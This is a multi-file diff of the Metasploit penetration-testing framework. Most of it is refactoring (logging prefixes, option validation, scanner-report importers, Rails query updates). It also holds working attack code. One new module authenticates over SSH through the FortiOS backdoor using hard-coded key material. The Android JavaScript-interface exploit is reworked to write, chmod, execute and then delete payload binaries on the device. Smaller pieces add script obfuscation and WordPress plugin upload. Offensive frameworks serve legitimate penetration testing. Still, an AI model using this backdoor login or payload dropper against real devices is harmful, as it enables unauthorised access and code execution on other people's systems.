vprint_status("#{peer} -- authentication failed; no response")
vprint_status("Authentication failed; no response")
return
end
end
vprint_status("#{peer} -- redis command '#{command_string}' got '#{printable_redis_response(command_response)}'")
vprint_status("Redis command '#{command_string}' got '#{printable_redis_response(command_response)}'")
command_response
end

View File

@ -42,6 +42,11 @@ def check
end
def peer
# IPv4 addr can be 16 chars + 1 for : and + 5 for port
super.ljust(21)
end
#
# The command handler when launched from the console
#

View File

@ -13,6 +13,7 @@ class DataStore < Hash
# Initializes the data store's internal state.
#
def initialize()
@options = Hash.new
@imported = Hash.new
@imported_by = Hash.new
end
@ -26,6 +27,16 @@ class DataStore < Hash
@imported[k] = false
@imported_by[k] = nil
opt = @options[k]
unless opt.nil?
if opt.validate_on_assignment?
unless opt.valid?(v)
raise OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"])
end
v = opt.normalize(v)
end
end
super(k,v)
end
@ -65,17 +76,11 @@ class DataStore < Hash
# all of the supplied options
#
def import_options(options, imported_by = nil, overwrite = false)
options.each_option { |name, opt|
# If there's already a value defined for this option, then skip it
# and don't import it.
next if self.has_key?(name) and overwrite == false
# If the option has a default value, import it, but only if the
# datastore doesn't already have a value set for it.
if ((opt.default != nil) and (overwrite or self[name] == nil))
import_option(name, opt.default.to_s, true, imported_by)
options.each_option do |name, opt|
if self[name].nil? || overwrite
import_option(name, opt.default, true, imported_by, opt)
end
}
end
end
#
@ -124,13 +129,14 @@ class DataStore < Hash
#
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
option_hash.each_pair { |key, val|
import_option(key, val.to_s, imported, imported_by)
import_option(key, val, imported, imported_by)
}
end
def import_option(key, val, imported=true, imported_by=nil)
def import_option(key, val, imported=true, imported_by=nil, option=nil)
self.store(key, val)
@options[key] = option
@imported[key] = imported
@imported_by[key] = imported_by
end

View File

@ -163,14 +163,4 @@ class Msf::DBManager
true
end
# Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6.
# Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond.
def warn_about_rubies
if ::RUBY_VERSION =~ /^1\.9\.[012]($|[^\d])/
$stderr.puts "**************************************************************************************"
$stderr.puts "Metasploit requires at least Ruby 1.9.3. For an easy upgrade path, see https://rvm.io/"
$stderr.puts "**************************************************************************************"
end
end
end

View File

@ -16,7 +16,8 @@ module Msf::DBManager::Import
autoload :Acunetix, 'msf/core/db_manager/import/acunetix'
autoload :Amap, 'msf/core/db_manager/import/amap'
autoload :Appscan, 'msf/core/db_manager/import/appscan'
autoload :Burp, 'msf/core/db_manager/import/burp'
autoload :BurpIssue, 'msf/core/db_manager/import/burp_issue'
autoload :BurpSession, 'msf/core/db_manager/import/burp_session'
autoload :CI, 'msf/core/db_manager/import/ci'
autoload :Foundstone, 'msf/core/db_manager/import/foundstone'
autoload :FusionVM, 'msf/core/db_manager/import/fusion_vm'
@ -41,7 +42,8 @@ module Msf::DBManager::Import
include Msf::DBManager::Import::Acunetix
include Msf::DBManager::Import::Amap
include Msf::DBManager::Import::Appscan
include Msf::DBManager::Import::Burp
include Msf::DBManager::Import::BurpIssue
include Msf::DBManager::Import::BurpSession
include Msf::DBManager::Import::CI
include Msf::DBManager::Import::Foundstone
include Msf::DBManager::Import::FusionVM
@ -252,6 +254,9 @@ module Msf::DBManager::Import
elsif (firstline.index("<scanJob>"))
@import_filedata[:type] = "Retina XML"
return :retina_xml
elsif (firstline.index(/<get_results_response status=['"]200['"] status_text=['"]OK['"]>/))
@import_filedata[:type] = "OpenVAS XML"
return :openvas_new_xml
elsif (firstline.index(/<get_reports_response status=['"]200['"] status_text=['"]OK['"]>/))
@import_filedata[:type] = "OpenVAS XML"
return :openvas_new_xml
@ -267,6 +272,9 @@ module Msf::DBManager::Import
elsif (data[0,1024] =~ /<!ATTLIST\s+items\s+burpVersion/)
@import_filedata[:type] = "Burp Session XML"
return :burp_session_xml
elsif (data[0,1024] =~ /<!ATTLIST\s+issues\s+burpVersion/)
@import_filedata[:type] = "Burp Issue XML"
return :burp_issue_xml
elsif (firstline.index("<?xml"))
# it's xml, check for root tags we can handle
line_count = 0
@ -281,7 +289,7 @@ module Msf::DBManager::Import
@import_filedata[:type] = "Nmap XML"
return :nmap_xml
when "openvas-report"
@import_filedata[:type] = "OpenVAS Report"
@import_filedata[:type] = "OpenVAS"
return :openvas_xml
when "NessusClientData"
@import_filedata[:type] = "Nessus XML (v1)"

View File

@ -0,0 +1,20 @@
require 'rex/parser/burp_issue_nokogiri'
module Msf::DBManager::Import::BurpIssue
def import_burp_issue_xml(args={}, &block)
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
wspace = args[:wspace] || workspace
parser = "Nokogiri v#{::Nokogiri::VERSION}"
noko_args = args.dup
noko_args[:blacklist] = bl
noko_args[:wspace] = wspace
if block
yield(:parser, parser)
doc = Rex::Parser::BurpIssueDocument.new(args,framework.db) {|type, data| yield type,data }
else
doc = Rex::Parser::BurpIssueDocument.new(args,self)
end
parser = ::Nokogiri::XML::SAX::Parser.new(doc)
parser.parse(args[:data])
end
end

View File

@ -1,6 +1,6 @@
require 'rex/parser/burp_session_nokogiri'
module Msf::DBManager::Import::Burp
module Msf::DBManager::Import::BurpSession
def import_burp_session_noko_stream(args={},&block)
if block
doc = Rex::Parser::BurpSessionDocument.new(args,framework.db) {|type, data| yield type,data }

View File

@ -12,20 +12,22 @@ module Msf::DBManager::Import::Nessus
# Nessus NBE and NESSUS v1 methods
#
def handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data,task=nil)
addr = hobj.address
# The port section looks like:
# http (80/tcp)
p = port.match(/^([^\(]+)\((\d+)\/([^\)]+)\)/)
return if not p
# Unnecessary as the caller should already have reported this host
#report_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive)
name = p[1].strip
port = p[2].to_i
proto = p[3].downcase
if p
name = p[1].strip
port = p[2].to_i
proto = p[3].downcase
else
port = nil
end
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
if name != "unknown" and name[-1,1] != "?"
if name and name != "unknown" and name[-1,1] != "?"
info[:name] = name
end
report_service(info)

View File

@ -29,6 +29,6 @@ module Msf::DBManager::Import::OpenVAS
filename = args[:filename]
wspace = args[:wspace] || workspace
raise Msf::DBImportError.new("No OpenVAS XML support. Please submit a patch to msfdev[at]metasploit.com")
raise Msf::DBImportError.new("No OpenVas XML support. Please submit a patch to msfdev[at]metasploit.com")
end
end

View File

@ -10,7 +10,7 @@ module Msf::DBManager::Migration
"the .bundle/config manually and then `bundle install`"
end
Rails.application.railties.engines.each do |engine|
::Rails::Engine.subclasses.map(&:instance).each.each do |engine|
migrations_paths = engine.paths['db/migrate'].existent_directories
migrations_paths.each do |migrations_path|

View File

@ -201,7 +201,7 @@ module Msf::DBManager::ModuleCache
end
end
query = Mdm::Module::Detail.scoped
query = Mdm::Module::Detail.all
ActiveRecord::Base.connection_pool.with_connection do
# Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports
@ -214,7 +214,7 @@ module Msf::DBManager::ModuleCache
when 'author'
formatted_values = match_values(value_set)
query = query.includes(:authors)
query = query.includes(:authors).references(:authors)
module_authors = Mdm::Module::Author.arel_table
union_conditions << module_authors[:email].matches_any(formatted_values)
union_conditions << module_authors[:name].matches_any(formatted_values)
@ -227,10 +227,10 @@ module Msf::DBManager::ModuleCache
when 'os', 'platform'
formatted_values = match_values(value_set)
query = query.includes(:platforms)
query = query.includes(:platforms).references(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets)
query = query.includes(:targets).references(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'text'
formatted_values = match_values(value_set)
@ -240,22 +240,22 @@ module Msf::DBManager::ModuleCache
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
query = query.includes(:actions)
query = query.includes(:actions).references(:actions)
union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values)
query = query.includes(:archs)
query = query.includes(:archs).references(:archs)
union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values)
query = query.includes(:authors)
query = query.includes(:authors).references(:authors)
union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values)
query = query.includes(:platforms)
query = query.includes(:platforms).references(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:refs)
query = query.includes(:refs).references(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets)
query = query.includes(:targets).references(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'type'
formatted_values = match_values(value_set)
@ -275,7 +275,7 @@ module Msf::DBManager::ModuleCache
when 'ref'
formatted_values = match_values(value_set)
query = query.includes(:refs)
query = query.includes(:refs).references(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
when 'cve', 'bid', 'osvdb', 'edb'
formatted_values = value_set.collect { |value|
@ -284,7 +284,7 @@ module Msf::DBManager::ModuleCache
"#{prefix}-%#{value}%"
}
query = query.includes(:refs)
query = query.includes(:refs).references(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
end
end

View File

@ -43,6 +43,7 @@ module Msf::DBManager::Service
# opts may contain
# +:name+:: the application layer protocol (e.g. ssh, mssql, smb)
# +:sname+:: an alias for the above
# +:workspace+:: the workspace for the service
#
def report_service(opts)
return if not active

View File

@ -30,7 +30,7 @@ module Msf::DBManager::Workspace
def workspaces
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::Workspace.order('updated_at asc').all
::Mdm::Workspace.order('updated_at asc').load
}
end
end

View File

@ -537,7 +537,7 @@ protected
#
def find_context_key(buf, badchars, state)
# Make sure our context information file is sane
if File.exists?(datastore['ContextInformationFile']) == false
if !File.exists?(datastore['ContextInformationFile'])
raise NoKeyError, "A context information file must specified when using context encoding", caller
end

View File

@ -649,14 +649,14 @@ class Exploit < Msf::Module
# Returns true if the exploit has an aggressive stance.
#
def aggressive?
(stance == Stance::Aggressive)
(stance == Stance::Aggressive || stance.include?(Stance::Aggressive))
end
#
# Returns if the exploit has a passive stance.
#
def passive?
(stance == Stance::Passive)
(stance == Stance::Passive || stance.include?(Stance::Passive))
end
#
@ -1197,9 +1197,15 @@ class Exploit < Msf::Module
# value can be one of the Handler::constants.
#
def handler(*args)
return if not payload_instance
return if not handler_enabled?
return payload_instance.handler(*args)
if payload_instance && handler_enabled?
payload_instance.handler(*args)
end
end
def interrupt_handler
if payload_instance && handler_enabled? && payload_instance.respond_to?(:interrupt_wait_for_session)
payload_instance.interrupt_wait_for_session()
end
end
##
@ -1351,6 +1357,9 @@ class Exploit < Msf::Module
# Report the failure (and attempt) in the database
self.report_failure
# Interrupt any session waiters in the handler
self.interrupt_handler
end
def report_failure
@ -1506,7 +1515,7 @@ protected
# required when wanting to support context keyed encoding
#
def define_context_encoding_reqs(reqs)
return if datastore['EnableContextEncoding'] != true
return unless datastore['EnableContextEncoding']
# At present, we don't support any automatic methods of obtaining
# context information. In the future, we might support obtaining

View File

@ -19,7 +19,6 @@ module Exploit::Android
}
def add_javascript_interface_exploit_js(arch)
stagename = Rex::Text.rand_text_alpha(5)
%Q|
function exec(runtime, cmdArr) {
var ch = 0;
@ -47,35 +46,7 @@ module Exploit::Android
.getMethod('getRuntime', null)
.invoke(null, null);
// libraryData contains the bytes for a native shared object built via NDK
// which will load the "stage", which in this case is our android meterpreter stager.
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
// another stager which loads android meterpreter from the msf handler.
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
var stagePath = path + '/#{stagename}.apk';
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
runtime.exec(['chmod', '700', libraryPath]).waitFor();
// build the stage, chmod it, and load it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
runtime.exec(['chmod', '700', stagePath]).waitFor();
// load the library
runtime.load(libraryPath);
// delete dropped files
runtime.exec(['rm', stagePath]).waitFor();
runtime.exec(['rm', libraryPath]).waitFor();
#{payload.arch[0] == ARCH_DALVIK ? stager_js(arch) : linux_exe_js(arch)}
return true;
}
@ -84,6 +55,62 @@ module Exploit::Android
|
end
def stager_js(arch)
stagename = Rex::Text.rand_text_alpha(5)
%Q|
// libraryData contains the bytes for a native shared object built via NDK
// which will load the "stage", which in this case is our android meterpreter stager.
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
// another stager which loads android meterpreter from the msf handler.
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
var stagePath = path + '/#{stagename}.apk';
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
runtime.exec(['chmod', '700', libraryPath]).waitFor();
// build the stage, chmod it, and load it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
runtime.exec(['chmod', '700', stagePath]).waitFor();
// load the library
runtime.load(libraryPath);
// delete dropped files
runtime.exec(['rm', stagePath]).waitFor();
runtime.exec(['rm', libraryPath]).waitFor();
|
end
def linux_exe_js(arch)
platform_list = Msf::Module::PlatformList.new(Msf::Module::Platform::Linux)
%Q|
var payloadData = "#{Rex::Text.to_octal(payload.encoded_exe(arch: arch, platform: platform_list), '\\\\0')}";
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var payloadPath = path + '/#{Rex::Text.rand_text_alpha(8)}';
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+payloadData+'" > '+payloadPath]).waitFor();
runtime.exec(['chmod', '700', payloadPath]).waitFor();
// run the payload
runtime.exec(['/system/bin/sh', '-c', payloadPath + ' &']).waitFor();
// delete dropped files
runtime.exec(['rm', payloadPath]).waitFor();
|
end
# The NDK stager is used to launch a hidden APK
def ndkstager(stagename, arch)

View File

@ -0,0 +1,99 @@
# -*- coding: binary -*-
# https://www.ietf.org/rfc/rfc4256.txt
require 'net/ssh'
module Msf::Exploit::Remote::Fortinet
class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract
USERAUTH_INFO_REQUEST = 60
USERAUTH_INFO_RESPONSE = 61
def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
send_message(userauth_request(
=begin
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
string service name (US-ASCII)
string "keyboard-interactive" (US-ASCII)
string language tag (as defined in [RFC-3066])
string submethods (ISO-10646 UTF-8)
=end
username,
service_name,
'keyboard-interactive',
'',
''
))
loop do
message = session.next_message
case message.type
when USERAUTH_SUCCESS
debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
return true
when USERAUTH_FAILURE
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
return false
when USERAUTH_INFO_REQUEST
debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
=begin
string name (ISO-10646 UTF-8)
string instruction (ISO-10646 UTF-8)
string language tag (as defined in [RFC-3066])
int num-prompts
string prompt[1] (ISO-10646 UTF-8)
boolean echo[1]
...
string prompt[num-prompts] (ISO-10646 UTF-8)
boolean echo[num-prompts]
=end
name = message.read_string
instruction = message.read_string
_ = message.read_string
prompts = []
message.read_long.times do
prompt = message.read_string
echo = message.read_bool
prompts << [prompt, echo]
end
debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }
send_message(Net::SSH::Buffer.from(
=begin
byte SSH_MSG_USERAUTH_INFO_RESPONSE
int num-responses
string response[1] (ISO-10646 UTF-8)
...
string response[num-responses] (ISO-10646 UTF-8)
=end
:byte, USERAUTH_INFO_RESPONSE,
:long, 1,
:string, custom_handler(name, instruction, prompts)
))
else
raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
end
end
end
# http://seclists.org/fulldisclosure/2016/Jan/26
def custom_handler(title, instructions, prompt_list)
n = prompt_list[0][0]
m = Digest::SHA1.new
m.update("\x00" * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70")
h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
[h]
end
end
end

View File

@ -56,7 +56,7 @@ module Exploit::Remote::FtpServer
# exists for the given command, returns a generic default response.
#
# @example Handle SYST requests
# class Metasploit4 < Msf::Exploit
# class MetasploitModule < Msf::Exploit
# include Msf::Exploit::Remote::FtpServer
# ...
# def on_client_command_syst(cmd_conn, arg)
@ -237,4 +237,3 @@ module Exploit::Remote::FtpServer
end
end

View File

@ -37,6 +37,7 @@ module Exploit::Remote::HttpClient
Opt::RHOST,
Opt::RPORT(80),
OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]),
Opt::Proxies
], self.class
)
@ -49,8 +50,7 @@ module Exploit::Remote::HttpClient
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
Opt::SSLVersion,
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout'])
@ -85,7 +85,7 @@ module Exploit::Remote::HttpClient
#
# Remaining evasions to implement
#
# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']),
# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', false]),
# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),
], self.class
)

View File

@ -32,9 +32,9 @@ module Exploit::Remote::HttpServer
register_evasion_options(
[
OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', false]),
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false]),
OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', false]),
OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
OptString.new('HTTP::server_name', [true, 'Configures the Server header of all outgoing replies', 'Apache'])
], Exploit::Remote::HttpServer
@ -72,60 +72,13 @@ module Exploit::Remote::HttpServer
Thread.current[:cli] = cli
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_line(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
def print_prefix
if cli && (respond_to?(:aggressive) && !aggressive?)
super + "#{cli.peerhost.ljust(16)} #{self.shortname} - "
else
super
end
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_status(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_good(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_error(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
#
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_warning(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_line(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_status(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_good(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_error(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_warning(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
@ -133,7 +86,7 @@ module Exploit::Remote::HttpServer
# set.
#
def use_zlib
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
if !Rex::Text.zlib_present? && datastore['HTTP::compression']
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
end
end
@ -577,16 +530,16 @@ module Exploit::Remote::HttpServer
response.compress = datastore['HTTP::compression']
end
if (datastore['HTTP::chunked'] == true)
if datastore['HTTP::chunked']
response.auto_cl = false
response.transfer_chunked = true
end
if (datastore['HTTP::header_folding'] == true)
if datastore['HTTP::header_folding']
response.headers.fold = 1
end
if (datastore['HTTP::junk_headers'] == true)
if datastore['HTTP::junk_headers']
response.headers.junk_headers = 1
end

View File

@ -10,10 +10,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
def wordpress_upload_plugin(name, zip, cookie)
nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
if nonce.nil?
vprint_error("#{peer} - Failed to acquire the plugin upload nonce")
vprint_error("Failed to acquire the plugin upload nonce")
return false
end
vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}")
vprint_status("Acquired a plugin upload nonce: #{nonce}")
referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
data = Rex::MIME::Message.new
@ -32,11 +32,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
)
if res && res.code == 200
vprint_status("#{peer} - Uploaded plugin #{name}")
vprint_status("Uploaded plugin #{name}")
return true
else
vprint_error("#{peer} - Server responded with code #{res.code}") if res
vprint_error("#{peer} - Failed to upload plugin #{name}")
vprint_error("Server responded with code #{res.code}") if res
vprint_error("Failed to upload plugin #{name}")
return false
end
end

View File

@ -27,7 +27,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Base
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
print_error("Error connecting to #{target_uri}: #{e}")
return nil
end
end

View File

@ -52,7 +52,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
if res && res.redirect? && res.redirection
return wordpress_helper_parse_location_header(res)
else
message = "#{peer} - Post comment failed."
message = "Post comment failed."
message << " Status Code: #{res.code}" if res
print_error(message)
return nil
@ -67,7 +67,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
# @return [Integer,nil] The post id, nil when nothing found
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
range.each { |id|
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
vprint_status("Checking POST ID #{id}...") if (id % 100) == 0
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
return id if body
}

View File

@ -99,11 +99,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts
# @param max_redirects [Integer] maximum redirects to follow
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
vprint_status("#{peer} - Enumerating Blog posts...")
vprint_status("Enumerating Blog posts...")
blog_posts = []
begin
vprint_status("#{peer} - Locating wordpress feed...")
vprint_status("Locating wordpress feed...")
res = send_request_cgi({
'uri' => wordpress_url_rss,
'method' => 'GET'
@ -116,26 +116,26 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts
path = wordpress_helper_parse_location_header(res)
return nil unless path
vprint_status("#{peer} - Web server returned a #{res.code}...following to #{path}")
vprint_status("Web server returned a #{res.code}...following to #{path}")
res = send_request_cgi({
'uri' => path,
'method' => 'GET'
})
if res.code == 200
vprint_status("#{peer} - Feed located at #{path}")
vprint_status("Feed located at #{path}")
else
vprint_status("#{peer} - Returned a #{res.code}...")
vprint_status("Returned a #{res.code}...")
end
count = count - 1
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Unable to connect")
print_error("Unable to connect")
return nil
end
if res.nil? or res.code != 200
vprint_status("#{peer} - Did not recieve HTTP response for RSS feed")
vprint_status("Did not recieve HTTP response for RSS feed")
return blog_posts
end
@ -143,7 +143,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts
links = res.body.scan(/<link>([^<]+)<\/link>/i)
if links.nil? or links.empty?
vprint_status("#{peer} - Feed did not have any links present")
vprint_status("Feed did not have any links present")
return blog_posts
end

View File

@ -48,7 +48,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Users
end
if res.nil?
print_error("#{peer} - Error getting response.")
print_error("Error getting response.")
return nil
elsif res.code == 200 and
(

View File

@ -134,7 +134,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version
res = nil
readmes.each do |readme_name|
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, readme_name)
vprint_status("#{peer} - Checking #{readme_url}")
vprint_status("Checking #{readme_url}")
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
@ -180,7 +180,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version
# Could not identify version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the #{item_type}")
vprint_status("Found version #{version} of the #{item_type}")
if fixed_version.nil?
if vuln_introduced_version.nil?

View File

@ -8,7 +8,8 @@ module Msf
def initialize(info={})
super
register_advanced_options([
OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0])
OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0]),
OptString.new('JsIdentifiers', [false, "Identifiers to preserve for JsObfu"])
], Exploit::JSObfu)
end
@ -18,14 +19,20 @@ module Msf
# @param js [String] JavaScript code
# @param opts [Hash] obfuscation options
# * :iterations [FixNum] Number of times to obfuscate
# * :preserved_identifiers [Array] An array of identifiers to preserve during obfuscation
# @return [::Rex::Exploitation::JSObfu]
#
def js_obfuscate(js, opts={})
iterations = (opts[:iterations] || datastore['JsObfuscate']).to_i
identifiers = opts[:preserved_identifiers].blank? ? (datastore['JsIdentifiers'] || '').split(',') : opts[:preserved_identifiers]
obfu = ::Rex::Exploitation::JSObfu.new(js)
obfu.obfuscate(:iterations=>iterations)
obfu_opts = {}
obfu_opts.merge!(iterations: iterations)
obfu_opts.merge!(preserved_identifiers: identifiers)
obfu.obfuscate(obfu_opts)
obfu
end
end
end
end

View File

@ -116,3 +116,6 @@ require 'msf/core/exploit/http/jboss'
# Kerberos Support
require 'msf/core/exploit/kerberos/client'
# Fortinet
require 'msf/core/exploit/fortinet'

View File

@ -69,7 +69,7 @@ module Exploit::Remote::MSSQL
Opt::RPORT(1433),
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentification (requires DOMAIN option set)', false]),
], Msf::Exploit::Remote::MSSQL)
register_advanced_options(

View File

@ -32,7 +32,7 @@ module Exploit::Remote::Postgres
Opt::RPORT(5432),
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']),
